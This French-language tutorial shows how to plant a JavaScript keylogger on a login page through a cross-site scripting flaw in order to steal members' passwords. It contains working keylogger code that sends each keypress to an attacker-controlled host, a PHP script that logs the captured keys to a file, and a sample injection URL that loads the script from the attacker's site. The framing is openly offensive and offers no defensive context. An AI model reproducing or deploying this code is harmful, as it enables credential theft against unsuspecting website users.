Keylogger onLine

 Ici nous allons voir comment implanter un keylogger sur une page contenant une faille XSS.

À quoi ça va servir ?

Simplement à intercepter les touches pressées durant une connexion par exemple pour intercepter un mot de passe dans la plupart des cas.

Le tutoriel suppose que vous savez utiliser les fichiers en PHP, transmettre des données via URL, et connaissez les évènements JS.

La fonction keylogger (JS) :

Ici nous programmerons la fonction keylogger en javascript.

Code : Javascript

c = "" ;

function keylogger () {
  if  (window.event) {
    // une touche a été pressée
    c = window.event.keycode ? window.event.keyCode : window.event.charCode ;
    c = String.fromCharCode (c) ;
  }
}

document.onKeyPress = keylogger ; // On lie l'évènement à la fonction
window.setInterval ( function () {
  new Image().src = "https://serveurhack/keylogger.php?code=" + c ;
  c = "" ;
}, 100) ; // ça se rafraichi tout les dixième de seconde

 Il vous reste à stocker ce script sur votre serveur et de passer à la programmation du script "keylogger.php" qui se chargera de mettre les codes récupérés dans un fichier texte :

Le script PHP :

Code : php

< ? php

$str = isset ($_GET["code"]) ? $_GET["code"] : false ;

if (!$str) {
  ; // do nothing
} else {
  $ff = fopen ("monLog.txt", "a+") ;
  fputs ($ff, $str) ;
  fclose ($ff) ;
}

? >

 L'attaque :

Maintenant il ne vous manque plus qu'un mini scénario d'attaque. Je me sens généreux, je vous en offre un ;-) .

Imaginons que nous avons trouvé un XSS sur la page de connexion des membres (exemple : https://sitealacon/login.php?unevar=bob)

Pour exécuter du JS il suffit d'ajouter par exemple :

(https://sitealacon/login.php?unevar=bob+< script src="https://monsiteamoi/keylogger.js" >< /script >)

Comme ça le keylogger est implanté dans la page de connexion, et à chaque fois qu'un membre essayera de se connecter à partir de votre URL son mot de passe tombera pile dans votre fichier texte.